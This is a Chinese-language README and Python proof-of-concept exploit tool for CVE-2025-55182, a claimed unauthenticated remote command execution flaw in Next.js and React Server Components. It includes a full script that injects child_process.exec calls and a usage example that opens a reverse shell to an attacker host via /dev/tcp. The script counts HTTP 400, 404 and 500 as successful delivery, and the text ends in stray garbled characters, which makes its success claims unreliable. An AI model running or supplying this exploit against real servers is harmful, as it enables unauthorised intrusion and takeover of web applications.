CVE-2025-55182: Next.js/React 未授权远程命令执行漏洞利用工具
高危漏洞 | 无需认证 | 一键RCE | 影响广泛
本工具是针对 CVE-2025-55182 的概念验证(PoC)利用代码。该漏洞存在于 Next.js App Router 和 React Server Components 中,是一个严重的未经身份验证的远程命令执行(RCE)漏洞。攻击者只需向特定的 Flight 端点发送一个特制的 multipart 请求,即可在服务器上执行任意系统命令。
✨ 功能特性
- 无需认证:直接利用,无需 Cookie 或任何会话信息。
- 一键命令执行:通过简单的命令行参数指定目标和命令,即可触发 RCE。
- 广泛影响版本:
- Next.js:
14.3.0-canary.77→15.0.4,15.1.8,16.0.6及以下所有未打补丁的版本。 - React:
19.0.0→19.2.0
- Next.js:
- 清晰的执行反馈:显示目标、执行的命令、服务器 HTTP 状态码以及可能的响应内容。
- 默认 Flight 端点:自动使用 Next.js 默认的
/_next/static/chunks/react-flight作为攻击入口。
📦 安装指南
系统要求
- Python 3.6 或更高版本
requests库
安装步骤
-
克隆或下载脚本 将
CVE-2025-55182.py文件保存到您的本地目录。 -
安装依赖 使用 pip 安装所需的
requests库:pip install requests
🚀 使用说明
基础用法
脚本通过命令行接收两个参数:目标 URL 和要执行的系统命令。
python3 CVE-2025-55182.py <目标URL> "<命令>"
典型使用场景
场景一:执行 id 命令
测试目标服务器是否存在漏洞,并获取当前运行用户的身份信息。
python3 CVE-2025-55182.py https://vulnerable-app.com "id"
场景二:在本地开发环境执行 whoami
检查本机 Next.js 应用是否受影响。
python3 CVE-2025-55182.py http://localhost:3000 "whoami"
场景三:反弹 Shell (高危)
警告:此操作仅限在您拥有合法授权的环境中进行。 攻击者可以利用此漏洞执行复杂的命令,例如从远程服务器下载脚本或直接反弹 Shell。
# 示例:向攻击者服务器反弹 Shell (假设的命令)
python3 CVE-2025-55182.py https://target.com "bash -i >& /dev/tcp/attacker-ip/4444 0>&1"
输出示例
成功利用时,您将看到类似以下的输出:
[+] CVE-2025-55182 Exploit
[+] Target : https://vulnerable-app.com
[+] Command : id
[+] Sending payload to https://vulnerable-app.com/_next/static/chunks/react-flight ...
[+] Payload delivered successfully!
[+] HTTP 200 – Command should have executed on the server
[+] Server response:
uid=1000(node) gid=1000(node) groups=1000(node)
[+] Done. Go check your listener / command output
💻 核心代码
以下是该利用工具的核心逻辑,包含了构造恶意 Flight 有效负载的关键步骤。
1. 核心利用函数:发送恶意请求
import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def exploit(target_url, command):
"""
核心利用函数:向目标发送特制的 multipart 请求以触发 RCE。
Args:
target_url (str): 目标网站的根 URL。
command (str): 要在目标服务器上执行的系统命令。
"""
target = target_url.rstrip("/")
# 1. 目标端点:所有 Next.js App Router 项目默认的 Flight 端点
flight_endpoint = f"{target}/_next/static/chunks/react-flight"
# 2. 构造恶意 Payload
# 利用不安全的反序列化创建一个 Function 对象,
# 该 Function 内部通过 child_process.exec 执行系统命令。
payload = f'1{{"__type":"Function","code":"global.process.mainModule.require(\'child_process\').exec(\'{command}\')"}}'
# 3. 构造 multipart/form-data 请求体
boundary = "----WebKitFormBoundaryCVE202555182"
body = (
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"0\"\r\n\r\n"
f"{payload}\r\n"
f"--{boundary}--\r\n"
)
headers = {
"Content-Type": f"multipart/form-data; boundary={boundary}",
"User-Agent": "Mozilla/5.0 (CVE-2025-55182 PoC)",
"Accept": "*/*"
}
print(f"[+] Sending payload to {flight_endpoint} ...")
try:
# 4. 发送 POST 请求
response = requests.post(flight_endpoint, data=body, headers=headers, timeout=15, verify=False)
# 5. 解析并输出结果
if response.status_code in [200, 400, 404, 500]:
print("[+] Payload delivered successfully!")
print(f"[+] HTTP {response.status_code} – Command should have executed on the server")
if len(response.text) > 0 and len(response.text) < 1000:
print(f"[+] Server response:\n{response.text}")
else:
print(f"[-] Unexpected status code:", response.status_code)
except Exception as e:
print("[-] Request failed:", e)
2. 命令行参数解析与执行
if __name__ == "__main__":
# 简单的命令行参数处理
if len(sys.argv) < 3:
print("CVE-2025-55182 – Unauthenticated RCE PoC")
print("Usage: python3 CVE-2025-55182.py <target_url> <command>")
print("Example: python3 CVE-2025-55182.py https://vuln.com \"id\"")
print("Example: python3 CVE-2025-55182.py https://target.local:3000 \"whoami\"")
sys.exit(1)
target_url = sys.argv[1]
command = sys.argv[2]
print("[+] CVE-2025-55182 Exploit")
print(f"[+] Target : {target_url}")
print(f"[+] Command : {command}")
# 调用核心利用函数
exploit(target_url, command)
print("[+] Done. Go check your listener / command output")
```FINISHED
6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ5DCjbu8G9XS6pgR58jcbcq